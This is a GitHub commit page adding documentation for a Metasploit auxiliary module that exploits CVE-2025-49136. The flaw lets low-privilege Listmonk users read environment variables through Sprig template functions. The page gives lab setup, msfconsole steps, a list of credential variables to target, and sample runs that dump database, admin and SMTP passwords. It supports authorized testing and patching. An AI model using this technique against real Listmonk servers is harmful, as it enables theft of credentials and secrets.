Skip to content

Commit a8ec46f

Browse files
authored
Merge pull request #20579 from nakkouchtarek/listmonk_env_disclosure
Add Listmonk Template Function Environment Variable Disclosure Auxiliary Module (CVE-2025-49136)
2 parents 5f80ca6 + 7c840a1 commit a8ec46f

File tree

2 files changed

+436
-0
lines changed

2 files changed

+436
-0
lines changed
Lines changed: 178 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,178 @@
1+
## Vulnerable Application
2+
3+
This module exploits insecure Sprig template functions in Listmonk versions >= v4.0.0 and < v5.0.2.
4+
The `env` and `expandenv` functions are enabled by default in campaign templates, allowing
5+
authenticated users with minimal campaign permissions to extract sensitive environment variables
6+
through the campaign preview functionality.
7+
8+
Listmonk is a self-hosted newsletter and mailing list manager. Environment variables in
9+
Listmonk deployments often contain sensitive information such as database credentials,
10+
SMTP passwords, API keys, and admin credentials.
11+
12+
### Required Privileges
13+
14+
For this exploit to work, the authenticated user must have the following privileges:
15+
- `campaigns:get` - Permission to get and view campaigns belonging to permitted lists
16+
- `campaigns:get_all` - Permission to get and view campaigns across all lists
17+
18+
These are minimal privileges that can be assigned to non-admin users in multi-user Listmonk
19+
installations, making this vulnerability particularly dangerous as it allows privilege escalation
20+
through environment variable disclosure.
21+
22+
#### Docker Installation (Vulnerable Version)
23+
24+
To install the vulnerable version, run the following command :
25+
26+
```
27+
curl -LO https://github.com/knadh/listmonk/raw/master/docker-compose.yml
28+
sed -i 's|image: listmonk/listmonk:latest|image: listmonk/listmonk:v5.0.1|' docker-compose.yml
29+
docker compose up
30+
```
31+
32+
#### Vulnerable Versions
33+
34+
- Listmonk >= v4.0.0 and < v5.0.2
35+
36+
#### Patched Versions
37+
38+
- Listmonk >= v5.0.2
39+
40+
## Verification Steps
41+
42+
1. Start msfconsole
43+
2. Do: `use auxiliary/gather/listmonk_env_disclosure`
44+
3. Do: `set RHOSTS [target]`
45+
4. Do: `set USERNAME [username]`
46+
5. Do: `set PASSWORD [password]`
47+
6. Optional: `set ENVVAR [comma-separated environment variables]`
48+
7. Do: `run`
49+
8. You should see extracted environment variable values
50+
51+
## Options
52+
53+
### USERNAME
54+
55+
The Listmonk username for authentication. This must be a valid user account with
56+
the required `campaigns:get` and `campaigns:get_all` permissions.
57+
58+
### PASSWORD
59+
60+
The Listmonk password for authentication.
61+
62+
### ENVVAR
63+
64+
A comma-separated list of environment variable names to extract. If not specified,
65+
the module will automatically attempt to extract a default list of common sensitive
66+
environment variables.
67+
68+
**Default variables extracted (when ENVVAR is not set):**
69+
- `LISTMONK_db__host` - Database host
70+
- `LISTMONK_db__port` - Database port
71+
- `LISTMONK_db__user` - Database username
72+
- `LISTMONK_db__password` - Database password
73+
- `LISTMONK_db__database` - Database name
74+
- `LISTMONK_app__address` - Application address
75+
76+
**Examples of custom variables to target:**
77+
- `LISTMONK_app__admin_username`, `LISTMONK_app__admin_password` - Admin credentials
78+
- `SMTP_HOST`, `SMTP_PORT`, `SMTP_USER`, `SMTP_PASSWORD` - Email server credentials
79+
- `AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY` - Cloud provider credentials
80+
- `DATABASE_URL`, `REDIS_URL` - Connection strings
81+
- `SECRET_KEY`, `API_KEY` - Application secrets
82+
- `PATH`, `HOME`, `USER` - System environment variables
83+
84+
### CAMPAIGN_NAME
85+
86+
Optional campaign name to use for the temporary campaign created during extraction.
87+
If not specified, a random name will be generated to avoid collisions when running
88+
the module multiple times. The campaign is automatically deleted after extraction.
89+
90+
## Scenarios
91+
92+
### Running Check to Verify Target is Vulnerable
93+
94+
```
95+
msf6 auxiliary(gather/listmonk_env_disclosure) > set RHOSTS 192.168.1.100
96+
RHOSTS => 192.168.1.100
97+
msf6 auxiliary(gather/listmonk_env_disclosure) > set USERNAME admin
98+
USERNAME => admin
99+
msf6 auxiliary(gather/listmonk_env_disclosure) > set PASSWORD adminadmin
100+
PASSWORD => adminadmin
101+
msf6 auxiliary(gather/listmonk_env_disclosure) > check
102+
103+
[*] 192.168.1.100:9000 - The target appears to be vulnerable. Listmonk version 5.0.1 is vulnerable
104+
```
105+
106+
### Extract Default Environment Variables
107+
108+
Running the module without specifying ENVVAR will automatically extract the default
109+
list of common Listmonk environment variables:
110+
111+
```
112+
msf6 > use auxiliary/gather/listmonk_env_disclosure
113+
msf6 auxiliary(gather/listmonk_env_disclosure) > set RHOSTS 127.0.0.1
114+
RHOSTS => 127.0.0.1
115+
msf6 auxiliary(gather/listmonk_env_disclosure) > set USERNAME admin
116+
USERNAME => admin
117+
msf6 auxiliary(gather/listmonk_env_disclosure) > set PASSWORD adminadmin
118+
PASSWORD => adminadmin
119+
msf6 auxiliary(gather/listmonk_env_disclosure) > run
120+
121+
[*] Running module against 127.0.0.1
122+
[*] Targeting http://127.0.0.1:9000/
123+
[+] Login successful
124+
[*] Using default environment variable list (6 variables)
125+
[*] Executing template to extract environment variables...
126+
[+] Environment variable(s) extracted:
127+
128+
LISTMONK_db__host: localhost
129+
LISTMONK_db__port: 5432
130+
LISTMONK_db__user: listmonk_user
131+
LISTMONK_db__password: my_secure_db_password123
132+
LISTMONK_db__database: listmonk
133+
LISTMONK_app__address: 0.0.0.0:9000
134+
135+
[*] Auxiliary module execution completed
136+
```
137+
138+
### Extract Specific Environment Variables
139+
140+
You can target specific environment variables by providing a comma-separated list:
141+
142+
```
143+
msf6 auxiliary(gather/listmonk_env_disclosure) > set ENVVAR LISTMONK_db__password,LISTMONK_app__admin_password,SMTP_PASSWORD
144+
ENVVAR => LISTMONK_db__password,LISTMONK_app__admin_password,SMTP_PASSWORD
145+
msf6 auxiliary(gather/listmonk_env_disclosure) > run
146+
147+
[*] Running module against 127.0.0.1
148+
[*] Targeting http://127.0.0.1:9000/
149+
[+] Login successful
150+
[*] Targeting specific environment variables: LISTMONK_db__password, LISTMONK_app__admin_password, SMTP_PASSWORD
151+
[*] Executing template to extract environment variables...
152+
[+] Environment variable(s) extracted:
153+
154+
LISTMONK_db__password: my_secure_db_password123
155+
LISTMONK_app__admin_password: admin_secret_password
156+
SMTP_PASSWORD: smtp_pass_2024
157+
158+
[*] Auxiliary module execution completed
159+
```
160+
161+
### Extract Single Environment Variable
162+
163+
```
164+
msf6 auxiliary(gather/listmonk_env_disclosure) > set ENVVAR PATH
165+
ENVVAR => PATH
166+
msf6 auxiliary(gather/listmonk_env_disclosure) > run
167+
168+
[*] Running module against 127.0.0.1
169+
[*] Targeting http://127.0.0.1:9000/
170+
[+] Login successful
171+
[*] Targeting specific environment variables: PATH
172+
[*] Executing template to extract environment variables...
173+
[+] Environment variable(s) extracted:
174+
175+
PATH: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
176+
177+
[*] Auxiliary module execution completed
178+
```

0 commit comments

Comments
 (0)